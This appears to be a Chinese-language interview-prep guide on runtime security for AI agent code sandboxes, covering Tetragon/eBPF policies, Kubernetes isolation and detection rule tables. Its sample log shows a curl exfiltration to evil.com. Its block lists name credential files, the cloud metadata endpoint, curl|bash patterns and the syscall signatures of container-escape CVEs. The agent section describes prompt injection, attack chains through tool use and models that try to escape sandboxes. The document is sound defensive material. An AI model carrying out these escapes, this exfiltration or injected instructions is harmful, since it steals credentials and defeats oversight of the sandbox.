- matchNamespaces:
- namespace: Mnt
operator: NotIn
values: ["host_mnt_ns"]
matchActions:
- action: Post
# 示例 3:阻止容器内执行非白名单二进制
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: agent-exec-restrict
spec:
tracepoints:
- subsystem: "sched"
event: "sched_process_exec"
args:
- index: 0
type: "string" # 可执行文件路径
selectors:
- matchNamespaces:
- namespace: Mnt
operator: NotIn
values: ["host_mnt_ns"]
matchArgs:
- index: 0
operator: "NotPrefix" # 如果不在白名单前缀内
values: ["/usr/bin/python3", "/usr/bin/node", "/bin/sh", "/bin/bash"]
matchActions:
- action: Sigkill # 直接杀掉
rateLimit: 1m # 限速,避免日志风暴Step 4:事件输出与消费
1
2
3
4
5
6
7
8 # 实时查看事件(调试用)
kubectl exec -n kube-system ds/tetragon -c tetragon -- \
tetra getevents -o compact
# 输出格式示例
🔴 exit agent-tenant-a/agent-pod-xyz /usr/bin/curl https://evil.com/exfil
🟡 connect agent-tenant-a/agent-pod-xyz 169.254.169.254:80
🔴 open agent-tenant-a/agent-pod-xyz /etc/shadow生产环境中事件通过 gRPC API → Fluentd/OTEL collector → Elasticsearch/Loki 存储 → Grafana 展示 + AlertManager 告警。
Step 5:关联 eBPF 事件到 Pod 身份
这是 K8s 环境下 eBPF 监控的关键步骤——eBPF 在内核层只能看到 cgroup ID 和 PID,需要映射到 K8s 的 Pod 名、Namespace、Labels:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 内核侧:
eBPF 程序调用 bpf_get_current_cgroup_id() → 得到 cgroup ID
用户态:
Tetragon agent 启动时通过 K8s API watch Pod 事件
维护一个 cgroup ID → Pod 元数据的映射表:
cgroup_id_12345 → {
name: "agent-pod-xyz",
namespace: "agent-tenant-a",
labels: {"tenant": "acme", "runtime": "kata"},
serviceAccount: "agent-sa",
containerID: "containerd://abc..."
}
eBPF 事件到达用户态后,enrichment:
原始事件:{cgroup_id: 12345, syscall: "open", path: "/etc/shadow"}
→ 关联后:{pod: "agent-pod-xyz", namespace: "agent-tenant-a",
tenant: "acme", syscall: "open", path: "/etc/shadow"}关键挑战:
- Tetragon Pod 自身需要高权限——它是攻击者的高价值目标
- 大规模集群中 eBPF 事件量巨大,必须在内核侧通过 selector 做过滤
- 不同 Node 可能运行不同内核版本,eBPF 程序需要 CO-RE 支持
- 如果使用 Kata/Firecracker,eBPF 程序需要加载到 guest 内核(不是 host 内核),部署方式不同
Q: K8s 多租户隔离方案?
K8s 原生并非为强多租户设计(共享内核、共享 apiserver),需要额外加固:
软隔离 vs 强隔离:
软隔离(Namespace 级别) 强隔离(VM/Node 级别) 方式 K8s Namespace + RBAC + NetworkPolicy Kata/Firecracker + 专用 Node 内核 共享 host 内核 每个 Pod 独立内核 安全等级 中(内核漏洞可跨租户) 高(VM 边界) 适用场景 互信的内部团队 AI Agent 多租户(不可信代码) 性能开销 低 中(VM 启动 ~125ms) Agent 多租户推荐方案:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 K8s Cluster
├── Namespace: agent-tenant-a
│ ├── Pod (RuntimeClass: kata) → Kata microVM → Container
│ ├── NetworkPolicy: deny-all + allow egress to API only
│ ├── ResourceQuota: cpu=4, memory=8Gi, pods=10
│ └── ServiceAccount: no RBAC bindings, no token mount
│
├── Namespace: agent-tenant-b (同上)
│
├── Namespace: security-monitoring
│ ├── Tetragon DaemonSet (eBPF agent)
│ ├── Security Event Collector
│ └── Alert Manager
│
└── Admission Controller (OPA/Gatekeeper)
├── 禁止 privileged containers (除 monitoring namespace)
├── 禁止 hostPath/hostNetwork/hostPID
├── 强制 RuntimeClass: kata
├── 强制 automountServiceAccountToken: false
└── 强制 securityContext: runAsNonRoot, readOnlyRootFilesystemCilium 在网络层的作用(替代 kube-proxy):
- 基于 eBPF 做 Service 负载均衡(比 iptables 性能高)
- CiliumNetworkPolicy 支持 L7 策略(HTTP path/method 级别过滤)
- 可以按 DNS 域名做出口过滤(而不是只能按 IP,DNS 域名更友好)
- 透明加密(WireGuard/IPsec)保护 Pod 间通信
NetworkPolicy 示例(Agent Pod 出口白名单):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: agent-egress-whitelist
namespace: agent-tenant-a
spec:
podSelector: {} # 应用到该 namespace 所有 Pod
policyTypes:
- Egress
- Ingress
ingress: [] # 禁止所有入站
egress:
- to: # 只允许连接 LLM API
- ipBlock:
cidr: 10.0.50.0/24 # 内部 LLM API 网段
ports:
- port: 443
protocol: TCP
- to: # 允许 DNS 查询(CoreDNS)
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- port: 53
protocol: UDP
# 注意:没有列出 169.254.169.254,所以 metadata API 被隐式禁止
Q: K8s Secret 管理安全?
K8s Secret 默认只是 base64 编码(不是加密),安全风险很大:
风险全景:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 Secret 在整个生命周期中的暴露点:
1. etcd 中明文存储(除非开启 encryption at rest)
→ 攻击者拿到 etcd 访问权 = 读取所有 Secret
2. 通过 K8s API 读取
→ kubectl get secret -o yaml(取决于 RBAC)
→ ServiceAccount token 泄漏后远程读取
3. 挂载到 Pod 后是明文文件
→ /var/run/secrets/kubernetes.io/serviceaccount/token
→ 容器内任何进程都能读
4. 环境变量注入
→ /proc/self/environ 可以被读取
→ 如果有 SYS_PTRACE 权限,可以读其他进程的 environ
5. kubelet 缓存
→ Node 上 /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/
→ 容器逃逸到 host 后可以读取同 Node 所有 Pod 的 Secret安全实践:
- 开启 etcd encryption at rest(
--encryption-provider-config)- 使用外部 Secret 管理:HashiCorp Vault + External Secrets Operator
- Agent Pod 禁止自动挂载 ServiceAccount token(
automountServiceAccountToken: false)- 如果 Agent 需要 API 凭证(如 LLM API key),通过 CSI Secret Store 挂载,而不是 K8s Secret
- RBAC 严格限制 Secret 的 get/list 权限
- 用 eBPF LSM 监控
/var/run/secrets/和/proc/*/environ的访问
Q: GPU 隔离在多租户 Agent 环境中的安全问题?
GPU 共享的安全挑战:
- GPU 显存没有像 CPU 内存那样的硬件级隔离(没有 MMU 级别的进程隔离)
- 显存残留:上一个任务释放的显存可能被下一个任务读到
- NVIDIA Container Toolkit 本身也是攻击面——CVE-2025-23266(NVIDIAScape)允许通过容器逃逸到 host
隔离方案对比:
方案 原理 隔离强度 性能 适用场景 MIG A100/H100 硬件级 GPU 分区 强(独立显存+计算单元) 好 多租户推理 MPS 软件级 CUDA context 共享 弱(无安全隔离) 最好 受信任的内部任务 vGPU(GRID) Hypervisor 虚拟化 中 中 虚拟化环境 Time-slicing 时间片轮转 无 好 开发/测试 不挂载 GPU API 调用远程推理服务 最强(无 GPU 攻击面) 依赖网络 Agent Code Interpreter Agent 场景建议:
- Code Interpreter 通常不需要本地 GPU——让它通过 API 调用远程推理服务,消除 GPU 攻击面
- 如果必须本地 GPU:优先 MIG 做硬件隔离,确保 NVIDIA Container Toolkit 及时更新
- 在 Kata microVM 方案中,GPU passthrough 会给 guest 完全控制权——安全性不如 MIG/vGPU
七、技术问答:AI Agent 安全
Q: 如何用 eBPF 追踪 Code Interpreter 容器内的行为?
在 host 上以 DaemonSet 方式部署 eBPF agent,attach 到以下 hook 点:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 进程监控:
tracepoint/sched/sched_process_exec → execve
tracepoint/sched/sched_process_fork → 进程创建
tracepoint/sched/sched_process_exit → 进程退出
→ 通过 bpf_get_current_cgroup_id() 关联到容器
文件监控:
LSM: security_file_open / security_inode_create / security_inode_unlink
→ 从 dentry 提取路径,检查是否在允许范围内
网络监控:
LSM: security_socket_connect → 出站连接
kprobe: tcp_v4_connect → TCP 连接细节
→ 记录目标 IP/端口、DNS 查询内容,与白名单对比
数据传输:ring buffer → 用户态 collector → 与 tool call 上下文关联关键挑战: AI Agent 的行为不可预测——传统 workload 的 baseline 是稳定的,但 Agent 执行的代码完全取决于 LLM 推理输出。不能简单做 syscall profile 匹配,需要把系统事件和应用层上下文关联起来。
Q: 如何定义 AI Agent 的”正常行为”?
思路是分层 baseline:
静态层(确定性):
- 可执行文件白名单:只允许 python3、node、bash 等预定义解释器
- 文件路径白名单:只允许
/workspace/、/tmp/、Python 标准库路径- 网络端点白名单:只允许连接特定 API
- 禁止列表:永远不应访问的文件(
/etc/shadow、~/.ssh/、/proc/1/root)动态层(统计性):
- 资源消耗基线:单次 tool call 的平均 CPU/内存/IO/网络
- 异常检测:突然产生 1000 个文件操作 或 大量 DNS 查询
上下文关联层(语义性):
- “数据分析”tool call 中 open csv 合理,connect 到外部 IP 可疑
- 将 eBPF 遥测事件与应用层 tool call 日志通过时间戳 + 容器 ID + PID 关联
Q: Prompt Injection 的分类?
Direct:用户直接输入恶意 prompt 覆盖系统指令,相对容易防。
Indirect:更危险。攻击者将恶意指令嵌入 Agent 会读取的外部数据中:
- 网页中的隐藏文本、代码注释(CVE-2025-53773 Copilot)、文档/邮件、API 返回
Multi-Agent 传播:注入低权限 Agent 来间接控制高权限 Agent(ServiceNow Now Assist 2025 案例)。
对 Runtime Security 的启示: Prompt injection 是应用层问题,但后果体现在系统层。eBPF 监控是 prompt injection 的最后防线——即使应用层过滤失败,系统层策略仍然能拦住恶意行为。
Q: Tool Use 中的安全风险?
- 过度授权:Agent 被赋予不必要的工具能力,被劫持后攻击面倍增
- 参数注入:LLM 生成的 tool call 参数包含恶意内容(SQL 注入、命令注入)
- 链式调用提权:多步组合形成攻击链(读配置获取 API key → 调高权限服务 → 外泄数据)
- 信任传递:Agent A 信任 Agent B 输出,攻击者通过 A 注入影响 B
防御原则是 Meta 的 “Agents Rule of Two”**:不受信任的输入永远不应直接控制特权操作。eBPF 在系统层面做 tool call 的效果审计**——不管 LLM 认为它在做什么,系统层看到的是真实 syscall。
Q: Code Interpreter 沙箱可能被怎么攻破?
- 容器逃逸:runc/containerd CVE、内核漏洞提权、配置不当。SandboxEscapeBench(2026.3)论文已证明前沿模型会主动探测和尝试逃逸
- 网络外泄:HTTP/DNS 数据泄露、DNS 隧道、ICMP 隧道
- 文件系统越权:多租户共享存储卷时路径穿越、/proc /sys 信息泄漏
- 资源耗尽 DoS:fork bomb、内存耗尽
- 供应链攻击:
pip install恶意包(setup.py 执行任意代码)- 持久化:容器复用时留后门。防御:每个 task 用 ephemeral 容器
Q: Agent 安全的未来趋势?
短期(1-2年):
- eBPF 成为 Agent Runtime 监控标配;microVM 成为 Code Interpreter 默认隔离方案
- OWASP Agentic AI Top 10 推动标准化;EU AI Act 2026.8 生效
中期(3-5年):
- 专门的 “Agent Security Platform”(类似 CWPP,但针对 Agent 特殊性)
- eBPF + LLM 闭环:用 LLM 分析 eBPF 遥测做安全研判
- 硬件辅助隔离:GPU TEE、Intel TDX / AMD SEV
核心观点: Agent 安全必须打通”应用层 + 系统层”。只懂 LLM 的人不知道内核攻击面,只懂内核的人不理解 prompt injection。这个岗位需要能连接两端的人。
八、场景设计题
Q: 设计一个多租户 Code Interpreter 的运行时安全方案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 用户请求 → API Gateway → Agent Orchestrator → Sandbox Manager
│
┌──────────────┼──────────────┐
▼ ▼ ▼
[Tenant A] [Tenant B] [Tenant C]
Firecracker Firecracker Firecracker
microVM microVM microVM
│ │ │
Container Container Container
+ Seccomp + Seccomp + Seccomp
+ eBPF LSM + eBPF LSM + eBPF LSM
Host:
┌─────────────────────────────────────────────────────────┐
│ eBPF Agent (DaemonSet) │
│ ├── tracepoint/LSM hooks → ring buffer → collector │
│ └── Metrics → Prometheus/OTEL │
│ Security Pipeline: events → Kafka → Analyzer → Alert │
└─────────────────────────────────────────────────────────┘第一层:强隔离 — Firecracker microVM,独立内核,session 结束后销毁
第二层:容器加固 — 最小 rootfs + Seccomp 白名单 + drop capabilities + read-only rootfs + uid 1000
第三层:eBPF 监控 — 进程/文件/网络/权限变更,LSM 策略按 cgroup ID 区分租户
第四层:上下文关联 — eBPF 事件 + tool call 日志关联,规则引擎判定风险等级
第五层:网络策略 — eBPF 出口过滤 + DNS 白名单 + 内部 PyPI 镜像
Q:(追问)具体配什么规则,能发现什么风险?
按风险场景逐个拆解,每条规则说明 hook 点 → 检测逻辑 → 能发现什么 → 处置动作:
一、容器逃逸 / 提权类
# eBPF hook 点 检测逻辑 发现的风险 处置 1 LSM security_file_open打开 /proc/self/exe且 flags 含 O_PATHCVE-2019-5736 runc 覆写攻击的前置动作 阻断 + kill 2 LSM security_file_open打开 /proc/self/fd/[0-9]+且路径中含/../CVE-2024-21626 fd 泄漏逃逸(WORKDIR 利用) 阻断 + kill 3 LSM security_file_open写入 /sys/fs/cgroup/*/release_agentCVE-2022-0492 cgroup 逃逸 阻断 + kill 4 tracepoint sys_enter_mount/sys_enter_pivot_rootAgent 容器中任何 mount/pivot_root 调用 尝试挂载 host 文件系统 Seccomp 层已阻断,eBPF 层记录告警 5 LSM security_capable检查是否尝试获取 CAP_SYS_ADMIN/CAP_SYS_PTRACE提权尝试 阻断 + 告警 6 tracepoint sys_enter_ptraceAgent 容器内任何 ptrace 调用 进程注入 / 调试其他进程 Seccomp 层已阻断,eBPF 层记录 7 kprobe commit_creds监控 uid/gid 从非零变为零 内核漏洞提权成功 Critical 告警 + 立即销毁 VM 8 LSM security_file_open打开 /var/run/docker.sock或 containerd socket容器运行时 socket 访问(配置不当时才可能) 阻断 + 告警 二、敏感文件访问类
# eBPF hook 点 检测逻辑 发现的风险 处置 9 LSM security_file_open路径匹配黑名单: /etc/shadow,/etc/passwd,/etc/sudoers凭证窃取 阻断 10 LSM security_file_open路径匹配: ~/.ssh/*,~/.gnupg/*,~/.aws/*SSH 密钥 / 云凭证窃取 阻断 11 LSM security_file_open路径匹配: /proc/1/*(host init 进程的信息)host 信息侦察 阻断 12 LSM security_file_open路径匹配: /var/run/secrets/kubernetes.io/*K8s ServiceAccount token 窃取 阻断(配合 automountServiceAccountToken: false)13 LSM security_file_open路径匹配: /proc/*/environ环境变量中的 API key / Secret 泄漏 阻断(仅允许读自身进程的) 14 LSM security_file_open路径不在白名单( /workspace/,/tmp/, Python 标准库路径)中未授权文件访问 记录 + 频率超阈值则告警 15 LSM security_inode_unlink/security_inode_rename删除或重命名 /workspace外的文件破坏性操作 阻断 三、异常网络行为类
# eBPF hook 点 检测逻辑 发现的风险 处置 16 LSM security_socket_connect目标 IP:port 不在白名单中 未授权外联(数据外泄、C2 通信) 阻断 17 LSM security_socket_connect连接 169.254.169.254:80(云 metadata API)云凭证窃取(AWS/GCP/Azure IAM) 阻断 18 LSM security_socket_connect连接 10.0.0.1:10250或 kubelet 端口K8s API / kubelet 未授权访问 阻断 19 kprobe udp_sendmsgDNS 查询域名不在白名单中 DNS 隧道 / 探测内网 / 未授权域名访问 阻断或记录 20 kprobe tcp_sendmsg统计单位时间出站数据量 大规模数据外泄 超阈值(如 >10MB/min)告警 + 限速 21 LSM security_socket_createsocket 类型为 SOCK_RAW(原始套接字)ICMP 隧道 / 网络扫描 阻断 22 tracepoint net:net_dev_xmit+ 包解析检测 DNS over HTTPS / DNS over TLS 到非白名单 绕过 DNS 过滤的隐蔽通道 阻断 四、异常进程行为类
# eBPF hook 点 检测逻辑 发现的风险 处置 23 tracepoint sched_process_exec执行的二进制不在白名单(python3, node, bash, sh, pip) 未授权程序执行(如下载的恶意二进制) 阻断或告警 24 tracepoint sched_process_exec执行 curl|bash、wget|sh、python -c "import os; os.system()"等模式远程代码下载执行 Critical 告警 25 tracepoint sched_process_fork统计单位时间内 fork 数量 fork bomb(资源耗尽 DoS) 超阈值(如 >50/s)后 cgroup 冻结 26 tracepoint sched_process_exec执行 chmod +s、chown root等命令SUID 提权尝试 告警 27 kprobe __x64_sys_setuid/__x64_sys_setgid任何 setuid/setgid 调用 权限提升 阻断(Seccomp + eBPF 双重) 28 tracepoint sched_process_exec执行 pip install/npm install+ 包名不在预审白名单中供应链攻击(typosquatting、恶意包) 告警 + 如果没走内部镜像则阻断 五、资源滥用类
# eBPF hook 点 检测逻辑 发现的风险 处置 29 cgroup 级别的 CPU/内存监控 CPU 使用率持续 >90% 超过 N 秒 挖矿、死循环、资源抢占 限速 + 告警 30 LSM security_inode_create/tmp或/workspace下文件创建频率/总量磁盘填充 DoS 超阈值后阻断新文件创建 31 tracepoint sched_process_fork+ PID cgroup 限制PID 数量接近 cgroup limit fork bomb 的早期信号 告警 六、容器逃逸特征签名(基于已知 CVE 的精确匹配)
CVE 特征 syscall 序列 eBPF 检测点 CVE-2019-5736 open(/proc/self/exe, O_PATH)→openat(/proc/self/fd/N, O_WRONLY)LSM security_file_open组合规则CVE-2024-21626 openat参数中出现/proc/self/fd/[0-9]+/../../..LSM security_file_open路径正则CVE-2022-0492 write(/sys/fs/cgroup/*/release_agent, ...)LSM security_file_open写模式CVE-2019-14271 容器内替换 /usr/lib/libnss_*.soLSM security_inode_rename目标路径通用内核提权 commit_creds被调用且 uid 变为 0kprobe commit_creds+ 前后 uid 对比七、规则之间的关联分析
单条规则触发可能是误报,多条规则的组合才是高置信度告警:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 低风险(单条触发 → 记录日志):
- 访问了 /workspace 外的一个文件
- 一次 DNS 查询到非白名单域名
中风险(两条关联 → 告警):
- 执行了 curl + 随后创建了新的可执行文件
- 读取了 /proc/self/environ + 随后发起了外联网络连接
→ 可能在偷 API key 然后外泄
高风险(明确攻击特征 → 阻断 + kill + 销毁 VM):
- 触发容器逃逸 CVE 签名中的任何一条
- commit_creds 检测到 uid 变为 0
- 连接 metadata API(169.254.169.254)
关联分析时间窗口:同一容器 ID 内,30 秒内的事件做关联八、用 eBPF + 应用上下文做语义级检测
上面都是纯系统层规则。更高级的检测是把 eBPF 事件和 Agent 的 tool call 上下文关联:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 应用侧 (Agent Orchestrator) 通过 API 告知安全 pipeline:
{container_id: "abc123", tool: "python_exec", task: "数据分析", ts: 1712600000}
eBPF 侧在同一 container_id 同一时间窗口内采集到:
security_socket_connect → 连接外部 IP ← 数据分析任务不应该外联
security_file_open → /etc/passwd ← 数据分析任务不应该读系统文件
语义级判定:
如果 tool=python_exec 且 task=数据分析:
允许:open(/workspace/*.csv), open(/tmp/*), 读 Python 标准库
告警:任何网络连接、访问 /etc/ 下文件、执行非 python3 的二进制
如果 tool=web_search:
允许:DNS 查询 + HTTP(S) 连接到白名单域名
告警:访问本地文件系统(/workspace 除外)、执行 shell 命令
如果 tool=file_write:
允许:写入 /workspace/ 下的文件
告警:写入 /workspace/ 外、创建可执行文件(+x 权限)、写入隐藏文件 (.*)这种”系统遥测 + 应用语义“的组合检测,是 Agent 安全和传统容器安全最大的区别——传统容器安全只有系统层规则,但 Agent 的行为是否异常取决于它当前在执行什么任务。
Q: 如果发现一个 Agent 正在尝试容器逃逸,怎么处置?
即时(秒级): eBPF LSM 阻断(-EPERM)→ kill 进程 → cgroup/skb 断网
短期(分钟级): 销毁 VM → 保留 snapshot 取证 → 标记租户可疑
事后: 回溯 eBPF 日志重建攻击链 → 关联应用层日志(哪个 prompt 触发的?)→ 更新策略逃逸尝试通常有明显 syscall 特征:打开
/proc/self/exe(5736)、访问/proc/self/fd/特殊 fd(21626)、写入 cgroup release_agent(0492)。这些可以在 eBPF LSM 中精确匹配。
九、行为面试
Q: 最有成就感的项目?
2021 年天府杯的 Docker 逃逸 + Ubuntu 本地提权利用链。需要串联内核漏洞提权 + 容器逃逸两个环节,每个都必须稳定可靠。内核利用要绕 KASLR、SMEP/SMAP,加上容器环境限制(有限 capabilities、seccomp),利用过程需要非常精细的控制。这个项目让我从整体理解了”容器内到 host root”的完整攻击路径。
Q: 怎么快速学习新领域?
三个阶段:建立全景认知(不追细节,先理解核心概念和关系)→ 动手复现(拿一个 CVE 搭环境写 PoC,比读十篇综述深入得多)→ 输出验证理解(写博客、出 CTF 题)。CTF 十年训练了这个能力——每场比赛都可能遇到全新领域。
Q: 为什么想做 Agent 安全?
从容器逃逸到 Agent Runtime 是自然延伸——Agent 本质上是运行在容器中的高权限不确定性 workload。传统容器安全假设 workload 行为可预测,但 AI Agent 打破了这个假设。传统方案不能直接用,需要新思路——这正是我感兴趣的,而且我的技能组合正好匹配。
Q: 遇到分歧怎么办?
用 PoC 说话——安全研究中,一个可复现的 exploit 胜过一百页文档。如果是架构分歧,基于具体场景的威胁模型来分析,没有绝对对错。
Q: 你的技术盲区?
K8s 深度运维和 GPU 隔离经验相对少。但学习模式是”从攻击面切入”:K8s 从 RBAC、网络策略、准入控制切入;GPU 隔离从 NVIDIA Container Toolkit 攻击面开始(CVE-2025-23266)。CTF 十年证明了快速进入新领域的能力。
Q: 对这个岗位的理解?你能带来什么?
给 AI Agent 建立系统层面的安全保障。我能带来:
- 攻击者视角——50+ CVE 让我知道攻击者怎么攻
- eBPF 深度——不仅会用,还知道 eBPF 自身的安全边界
- 容器逃逸实战——天府杯到多个 CVE 分析
- 技术输出能力——博客、出版物、CTF 出题
- 跨领域连接——同时理解系统层和 AI 应用层安全
十、交叉面专项:面试官是 eBPF 训练监控方向
以下问答专门针对训练监控背景的面试官,有些 eBPF 基础问题在前面章节已覆盖,这里聚焦于跨团队协作、性能敏感度、训练场景理解这些交叉面特有的考察点。
Q: 你了解 eBPF 在 GPU 训练监控中的应用吗?
有一定了解。eBPF 在训练监控中的核心价值是非侵入式全栈可观测性——从内核 syscall、网络(RDMA/NCCL)、CPU 调度,到 CUDA 驱动调用,再到 PyTorch 算子层面,都可以通过 eBPF uprobe/kprobe 追踪,不需要修改训练框架代码。
比如最近的研究:
- eACGM 框架用 eBPF 做 AI/ML 系统的全栈监控,覆盖 GPU(通过 libnvml)、CUDA、PyTorch、网络通信层,用 GMM 做异常检测
- eInfer 通过 eBPF 拦截 GPU 驱动的 ioctl 调用来重建 LLM 推理的完整执行时间线,开销在亚毫秒级
- Mycroft 做 RDMA 级别的集合通信追踪,定位 all-reduce 中的 straggler
这些和我做安全监控的技术栈高度重叠——底层的 eBPF 基础设施(程序加载、map 管理、事件传输)是可以共享的。
Q: 安全监控的 eBPF 程序会不会影响训练性能?怎么控制开销?
这是非常合理的顾虑。GPU 训练场景中,一个 all-reduce 被延迟几毫秒就会导致所有 worker 等待。原则是:安全监控绝不能成为训练瓶颈。
- 内核侧过滤:只监控 Agent 容器(通过 cgroup ID 过滤),训练 Pod 的事件直接跳过
- 避免热路径 hook:训练热路径是 GPU kernel launch、NCCL 通信、RDMA 操作——安全监控不 hook 这些
- ring buffer + batch 消费:设置合理的 wakeup_watermark,不是每个事件都唤醒用户态
- 量化开销:
bpftool prog profile监控每个 BPF 程序运行时间,目标单次 < 1μs,整体 CPU < 2%- 分级监控:正常状态轻量级,告警状态增强,动态加载/卸载不影响训练
Q: 安全监控和训练监控的 eBPF 程序会不会冲突?
理论上不会——内核支持同一 hook 点上 attach 多个 BPF 程序。但需要协调:
- LSM hook:安全监控的 LSM 通过 cgroup ID 判断,只对 Agent 容器生效,训练 Pod 直接放行
- XDP:同一网卡只能一个 XDP 程序,需要用 libxdp dispatcher 或 tail call 协调
- 资源:BPF map 内存、ring buffer 都要 budget
最佳实践是共建 eBPF 平台层: 统一生命周期管理、统一数据管道(ring buffer → collector → Kafka,不同 topic)、统一资源限额。
Q: 你写过 eBPF 程序吗?用什么框架?遇到过什么坑?
写过。框架:libbpf + C(生产首选)、bpftrace(快速原型)、**cilium/ebpf (Go)**。BCC 已不是主流。
踩过的坑:
- Verifier 复杂度爆炸:用 tail call 拆分、简化分支、用 map 替代 if-else
- 指针安全检查:每级解引用前都要
bpf_probe_read_kernel或BPF_CORE_READ- 字符串处理:BPF 中不能 strlen/strcmp,从 dentry 逐级读
d_name或比较 inode- BTF 不可用:老内核需 fallback 到硬编码偏移
- Map 内存泄漏:hash map 没做 GC,满了后新 entry 插入失败。用 LRU map 或用户态定期清理
Q: 你觉得安全团队和训练监控团队怎么协作最好?
- 共建平台层:统一 BPF 程序管理 + 数据管道 + 资源治理
- 互相提供价值:训练监控的行为基线帮安全排除误报;安全的容器/进程元数据帮训练监控做 Pod 级归因
- 避免踩脚:明确 hook 点分工,共享 hook 点时商量过滤策略
- 联合排障:训练变慢时快速定位是 BPF 开销还是安全策略限制
Q: 你对 RDMA 和 NCCL 了解多少?
坦诚说深度使用经验不多,但了解架构:
RDMA:绕过 CPU 和内核协议栈,网卡直接读写远端内存。从安全角度关注:RDMA 绕过内核网络栈,eBPF 的 XDP/TC 看不到 RDMA 流量——需要在 Verbs 层 uprobe 或依赖硬件监控。
NCCL:NVIDIA 集合通信库(all-reduce、all-gather 等),底层走 RDMA/TCP/NVLink。2.27+ 新增 profiler plugin API。
安全视角:RDMA memory region 配置不当可能暴露内存;多租户共享 RDMA 需确保 QP 隔离。
Q: 你怎么看 eBPF 程序自身的安全性?
这正是我在 STAR Labs 做审计的核心方向。训练监控团队应该关心:
- Verifier 不是万能的——我发现过多个 verifier bug,精心构造的 BPF 程序可能越界读写内核内存
- BPF 程序可以读内核内存——
bpf_probe_read_kernel读任意地址,恶意程序可泄漏敏感数据- DoS 风险——热路径上的频繁 hash lookup 可消耗 CPU
- Map 数据泄漏——需要通过 bpffs 权限和 BPF token(6.9+)控制访问
缓解:
unprivileged_bpf_disabled=2、只允许受信任进程加载 BPF(CAP_BPF+CAP_PERFMON)。我的审计经验可以帮团队 review BPF 程序安全性。
交叉面沟通策略
| 场景 | 应对 |
|---|---|
| 面试官问 eBPF 深度细节 | 正面回答,你有审计经验,内功扎实 |
| 面试官问训练/NCCL/RDMA 细节 | 诚实说深度有限,但展示框架理解和安全视角,强调学习能力 |
| 面试官担心安全监控影响性能 | 重点:内核侧过滤、避免热路径 hook、量化开销、动态加载 |
| 面试官问协作方式 | 强调共建 eBPF 平台、互相提供价值、你能帮做安全 review |
| 冷场时 | 反问:”你们用什么框架写 BPF 程序?遇到过 verifier 的什么坑?” |
核心姿态: 不要假装懂训练监控所有细节。展示的是——我在 eBPF 安全方向有你没有的深度(verifier bug、内核攻击面),同时尊重你的领域、能快速学习、愿意协作。两个方向的 eBPF 能力是互补的。
十一、反问面试官 & 复习清单
反问面试官的问题
- “当前 Agent Runtime 的隔离方案是什么?遇到的最大挑战是什么?”
- “团队在 eBPF 的使用程度?是已有基础设施还是从零开始?”
- “Code Interpreter 目前是跑在容器里还是 microVM 里?”
- “有没有遇到过真实的 Agent 安全事件(比如 prompt injection 导致的越权操作)?”
- “团队对安全研究产出(如博客、会议分享)的态度?”
面试前一晚快速复习清单
- eBPF 程序类型、map 类型、verifier 机制(第二章)
- kprobe vs fentry vs tracepoint vs uprobe 的区别和开销(2.2 + 2.3)
- BPF LSM 的 attach 方式和使用场景(2.2)
- Namespace(8种)、Seccomp BPF、capabilities(第四章)
- 容器逃逸经典 CVE(5736、21626、0492)的原理和修复(第四章)
- OWASP Agentic AI Top 10(2026 版)
- Prompt Injection 直接/间接分类,Tool Use 攻击面(第七章)
- 自己的 CVE 列表中每个的一句话描述
- 安全监控的性能开销控制策略(第十章)
- 安全团队与训练监控团队的协作模式(第十章)
参考资料
- eBPF for AI Agent Enforcement - ARMO
- Microsoft Agent Governance Toolkit
- SandboxEscapeBench - arXiv
- eBPF-PATROL - arXiv
- Ant Group Kata + eBPF
- OWASP LLM Top 10 - Prompt Injection
- Container Escape for AI Agents - Blaxel
- AgentSentry - arXiv
- Agents Rule of Two - Simon Willison
- eACGM: eBPF-based ML Monitoring - arXiv
- GPU Observability with eBPF - Annanay Agarwal